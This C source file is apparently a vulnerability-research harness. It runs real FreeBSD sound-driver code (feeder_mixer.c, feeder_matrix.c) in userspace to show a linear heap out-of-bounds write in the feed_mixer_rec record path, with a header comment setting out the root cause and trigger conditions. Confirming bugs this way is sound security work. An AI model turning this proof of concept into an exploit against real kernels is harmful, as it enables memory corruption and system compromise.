DF-4952 / ffrec.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 | /* * ffrec.c — adversarial harness for the REAL sys/dev/sound/pcm/feeder_mixer.c * REC path (feed_mixer_rec), GLM 5.3 pass-2 follow-up to DF-4849. * * NEW SINK (not covered by DF-4849 :299-368, which is the PLAY path): * * feeder_mixer.c:191-204 * b->rp = 0; b->rl = 0; * cnt = sndbuf_getsize(b); * maxfeed = SND_FXROUND(SND_FXDIV_MAX, sndbuf_getalign(b)); * do { * cnt = FEEDER_FEED(c->feeder->source, c, b->tmpbuf, * min(cnt, maxfeed), c->bufhard); * if (cnt != 0) { * sndbuf_acquire(b, b->tmpbuf, cnt); <-- only KASSERT-guarded * cnt = sndbuf_getfree(b); * } * } while (cnt != 0); * * 1. The feeder directly below the REC mixer (feed_matrix / feed_format — * same FXROUND over-return class proven on REAL code by DF-4846/DF-4847) * returns count+delta for bad-residue requests. count was * min(bufsize, maxfeed) <= free == bufsize, so acquire(count+delta) * inflates b->rl past b->bufsize (buffer.c:615-635, KASSERT compiled out * on the production/no-INVARIANTS kernel). * 2. sndbuf_getfree(b) = bufsize - rl now WRAPS to ~0xFFFFxxxx. * 3. min(cnt, maxfeed) == maxfeed == SND_FXROUND(65536, align) ~= 65532 is * then requested -- from a buffer whose tmpbuf is only * round_page(bufsize) bytes (buffer.c:180-195). chn_wrfeed (the PLAY * caller) clamps want by sndbuf_getsize(); feed_mixer_rec does NOT. * 4. The converter (real feeder_matrix code here) computes * src = dst + count - j (up to ~44KB past tmpbuf) and writes the whole * converted block at dst: ~65KB into a ~20KB heap window -- * LINEAR HEAP OOB WRITE with converted capture data, repeated every * loop pass while the (wrapped) free never drains. * * Chain modeled exactly as feeder_chain.c builds it for a REC vchan parent: * mixer(head) -> matrix (hw S16_LE 2ch -> soft S16_LE 6ch) -> root -> bufhard. * All real code: feeder_mixer.c + feeder_matrix.c + the real generated * snd_fxdiv_gen.h. Only feed_root is stubbed (bounded hw budget, writes * where asked -- exactly what the real feed_root/sndbuf_dispose does). * * exit 42 == linear heap OOB write past tmpbuf proven * exit 0 == clean (fixed generator build) */ #include "fxshim.h" #include <err.h> #define min(a, b) (((a) < (b)) ? (a) : (b)) /* real sound.h:206/217 values */ #define AFMT_SIGNED (AFMT_S32_LE | AFMT_S32_BE | AFMT_S24_LE | \ AFMT_S24_BE | AFMT_S16_LE | AFMT_S16_BE | \ AFMT_S8) #define AFMT_PASSTHROUGH AFMT_AC3 #define PCMDIR_PLAY 1 #define PCMDIR_REC 2 #define CHN_F_MMAP 0x00000001 #define CHN_F_CLOSING 0x00000002 #define CHN_F_DIRTY 0x00000004 #define CHN_F_EXCLUSIVE 0x00000008 #define CHN_F_VIRTUAL 0x00000010 #define CHN_F_HAS_VCHAN 0x00000020 #define CHN_F_PASSTHROUGH 0x00000040 #define CHN_F_STOPPED 0x00000080 #define CHN_F_RUNNING 0x00000100 #define CHN_LOCK(ch) do { } while (0) #define CHN_UNLOCK(ch) do { } while (0) #define CHN_STOPPED(ch) (((ch)->flags & CHN_F_STOPPED) != 0) struct pcm_channel { int direction; int flags; int feedcount; int xruns; uint32_t format; struct pcm_feeder *feeder; struct snd_dbuf *bufsoft, *bufhard; struct { struct { struct pcm_channel *tqh_first; } busy; } children; struct pcm_channel *next_busy; }; struct snd_dbuf { uint8_t *buf; uint8_t *tmpbuf; uint32_t size; uint32_t align; uint32_t fmt; int rp, rl; }; /* ---- faithful sndbuf_* (buffer.c:500-660), KASSERTs omitted exactly as * they are compiled out on the production guest kernel ---- */ static inline uint32_t sndbuf_getsize(struct snd_dbuf *b) { return (b->size); } static inline uint32_t sndbuf_getalign(struct snd_dbuf *b) { return (b->align); } static inline uint8_t *sndbuf_getbuf(struct snd_dbuf *b) { return (b->buf); } static inline uint32_t sndbuf_getfree(struct snd_dbuf *b) { return ((uint32_t)b->size - (uint32_t)b->rl); /* wraps like kernel */ } static inline uint32_t sndbuf_getready(struct snd_dbuf *b) { return ((uint32_t)b->rl); } static inline uint8_t sndbuf_zerodata(uint32_t fmt) { if (fmt & (AFMT_SIGNED | AFMT_PASSTHROUGH)) return (0x00); else if (fmt & AFMT_MU_LAW) return (0x7f); else if (fmt & AFMT_A_LAW) return (0x55); return (0x80); } static uint64_t acq_over; /* acquisitions with count > free */ static uint32_t acq_worst_over; static inline int sndbuf_acquire(struct snd_dbuf *b, uint8_t *from, unsigned int count) { int l; uint32_t free_before = sndbuf_getfree(b); if (count > free_before) { acq_over++; acq_worst_over = (count - free_before > acq_worst_over) ? count - free_before : acq_worst_over; printf("ACQUIRE-OVER: count=%u free=%u (rl=%d size=%u) " "-- KASSERT compiled out, rl -> %d\n", count, free_before, b->rl, b->size, b->rl + (int)count); } while (count > 0) { l = min(count, sndbuf_getsize(b) - ((b->rp + b->rl) % sndbuf_getsize(b))); memcpy(sndbuf_getbuf(b) + ((b->rp + b->rl) % b->size), from, l); from += l; b->rl += l; count -= l; } return (0); } static inline int sndbuf_dispose(struct snd_dbuf *b, uint8_t *to, unsigned int count) { int l; while (count > 0) { l = min(count, b->size - b->rp); if (to != NULL) memcpy(to, b->buf + b->rp, l); b->rp = (b->rp + l) % b->size; b->rl -= l; count -= l; } return (0); } #define CHN_FOREACH(var, parent, field) \ for ((var) = (parent)->children.busy.tqh_first; (var) != NULL; \ (var) = (var)->next_busy) /* ---- the chain under test, all REAL code ---- */ #include "feeder_matrix.c" #include "feeder_mixer.c" /* ---- feed_root stub: bounded hw budget, writes exactly where asked ---- */ static struct pcm_feeder rootf; static struct pcm_feeder matf_rec; /* real matrix feeder instance */ static uint64_t hw_budget; /* bytes of raw capture available */ static uint64_t root_max_write_off; /* farthest byte written past tmpbuf */ /* * FEEDER dispatch: mixer's source == matrix feeder (real code); * matrix's source == root stub. */ uint32_t fx_source_feed_impl(struct pcm_feeder *f, struct pcm_channel *c, uint8_t *b, uint32_t count, void *source) { if (f == &rootf) { uint32_t give = min(count, (uint32_t)hw_budget); uintptr_t off; uint32_t i; hw_budget -= give; /* the real feed_root/sndbuf_dispose writes where it is told */ for (i = 0; i < give; i++) b[i] = (uint8_t)(0xC3 ^ (i & 0x1f)); off = (uintptr_t)b + give - fx_win_base; if (off > root_max_write_off) root_max_write_off = off; return (give); } if (f == &matf_rec) return (feed_matrix_feed(f, c, b, count, source)); errx(1, "unexpected feeder %p", f); } int fx_feeder_set(struct pcm_feeder *fe, int what, int value) { return (feed_mixer_set(fe, what, value)); } static struct pcm_feeder mixf; static struct pcm_channel parent; static struct snd_dbuf softbuf, hardbuf; static uint32_t tmpbuf_sz; /* round_page(bufsize): kernel alloc */ /* full rear-guard scan (not just first 128 bytes like fx_win_check) */ static uint64_t rear_smashed; /* smashed rear-guard byte count */ static uint64_t rear_farthest; static int scan_rear(uint8_t *win, uint32_t sz) { unsigned char *base = win - FX_GUARD_FRONT; uint64_t i, first = 0, last = 0, n = 0; for (i = 0; i < FX_GUARD_REAR; i++) { if (base[sz + FX_GUARD_FRONT + i] != (uint8_t)0xCA) { if (n == 0) first = i; last = i; n++; } } if (n != 0) { rear_smashed = n; rear_farthest = last + 1; printf("REAR-GUARD SMASHED: window=%u first_oob=%llu " "farthest=%llu smashed_bytes=%llu\n", sz, (unsigned long long)first, (unsigned long long)(last + 1), (unsigned long long)n); (void)base; return (-1); } return (0); } int main(void) { uint32_t bufsize, maxfeed, sz, ret; int oob = 0; const char *where; /* mixer: REC parent fmt S16_LE 6ch (align 12) */ memset(&mixf, 0, sizeof(mixf)); mixf.desc = &mixf.desc_static; mixf.desc->in = mixf.desc->out = SND_FORMAT(AFMT_S16_LE, 6, 0); if (feed_mixer_init(&mixf) != 0) errx(1, "mixer init failed"); sz = feed_mixer_info_tab[FEEDMIXER_INFOIDX(mixf.data)].bps * FEEDMIXER_CHANNELS(mixf.data); /* real matrix feeder: hw S16_LE 2ch -> soft S16_LE 6ch */ memset(&matf_rec, 0, sizeof(matf_rec)); matf_rec.desc = &matf_rec.desc_static; matf_rec.desc->in = SND_FORMAT(AFMT_S16_LE, 2, 0); matf_rec.desc->out = SND_FORMAT(AFMT_S16_LE, 6, 0); if (feed_matrix_init(&matf_rec) != 0) errx(1, "matrix init failed"); matf_rec.source = &rootf; /* pick a real-kernel-formable bufsize (blkcnt>=2, blksz>=16, even) * inside the generator's bad-residue window for divisor 12: * SND_FXROUND(bufsize, 12) > bufsize == the entry over-return that * DF-4846/DF-4847 prove feed_format/feed_matrix perform. */ bufsize = 0; for (uint32_t v = 8194; v <= 65534; v += 2) { if (v / 2 < 16) continue; if (SND_FXROUND(v, sz) > v) { bufsize = v; break; } } if (bufsize == 0) { /* fixed-generator build: the entry-misround class is gone * everywhere in [8194..65534] -- the REC wrap cannot be * armed by any real feeder. That IS the pass condition. */ printf("ffrec: no bad-residue bufsize exists -- over-return " "precondition eliminated; feed_mixer_rec cannot wrap\n"); printf("ffrec: clean\n"); return (0); } maxfeed = SND_FXROUND(SND_FXDIV_MAX, sz); tmpbuf_sz = (bufsize + 4095) & ~4095u; /* round_page, buffer.c:184 */ printf("ffrec: parent REC vchan fmt S16_LE 6ch sz=%u " "hw fmt S16_LE 2ch (matrix below mixer)\n", sz); printf("bufsoft: bufsize=%u (bad residue: FXROUND(%u,%u)=%u > %u) " "tmpbuf allocsize=%u (round_page) maxfeed=%u FXDIV_MAX=%u\n", bufsize, bufsize, sz, (uint32_t)SND_FXROUND(bufsize, sz), bufsize, tmpbuf_sz, maxfeed, (uint32_t)SND_FXDIV_MAX); /* bufsoft: ring + tmpbuf both kernel-sized */ softbuf.buf = fx_win_alloc(bufsize); softbuf.tmpbuf = fx_win_alloc(tmpbuf_sz); softbuf.size = bufsize; softbuf.align = sz; softbuf.rp = 0; softbuf.rl = 0; hardbuf.size = 65536; fx_win_base = (uintptr_t)softbuf.tmpbuf; fx_win_limit = fx_win_base + tmpbuf_sz; fx_arena_base = fx_win_base - FX_GUARD_FRONT; fx_arena_limit = fx_win_base + tmpbuf_sz + FX_GUARD_REAR; memset(&parent, 0, sizeof(parent)); parent.direction = PCMDIR_REC; parent.flags = CHN_F_HAS_VCHAN | CHN_F_RUNNING; parent.feeder = &mixf; mixf.source = &matf_rec; parent.bufsoft = &softbuf; parent.bufhard = &hardbuf; parent.children.busy.tqh_first = NULL; /* children not needed: * the OOB happens in the * acquire loop itself */ hw_budget = 65536; /* one full hw buffer of capture data */ printf("---- feed_mixer_rec (real feeder_mixer.c + real " "feeder_matrix.c) ----\n"); ret = feed_mixer_feed(&mixf, &parent, NULL, 0, NULL); printf("returned %d; bufsoft rl=%d size=%u free=0x%08x " "acquire-over count=%llu worst=%u\n", ret, softbuf.rl, softbuf.size, sndbuf_getfree(&softbuf), (unsigned long long)acq_over, acq_worst_over); printf("root max write offset past tmpbuf base: %llu " "(window %u)\n", (unsigned long long)root_max_write_off, tmpbuf_sz); /* OOB write proof: rear guard of the tmpbuf window */ if (scan_rear(softbuf.tmpbuf, tmpbuf_sz) != 0) { oob = 1; } else { where = NULL; if (fx_win_check(softbuf.tmpbuf, tmpbuf_sz, &where) != 0) { printf("front/guard: %s\n", where); oob = 1; } } if (acq_over != 0 && !oob) printf("NOTE: rl inflated past bufsize but writes stayed in " "alloc slack this run\n"); fx_win_free(softbuf.tmpbuf); fx_win_free(softbuf.buf); printf("ffrec: %s (exit 42 == linear heap OOB write past tmpbuf)\n", oob ? "OOB PROVEN" : "clean"); return (oob ? 42 : 0); } |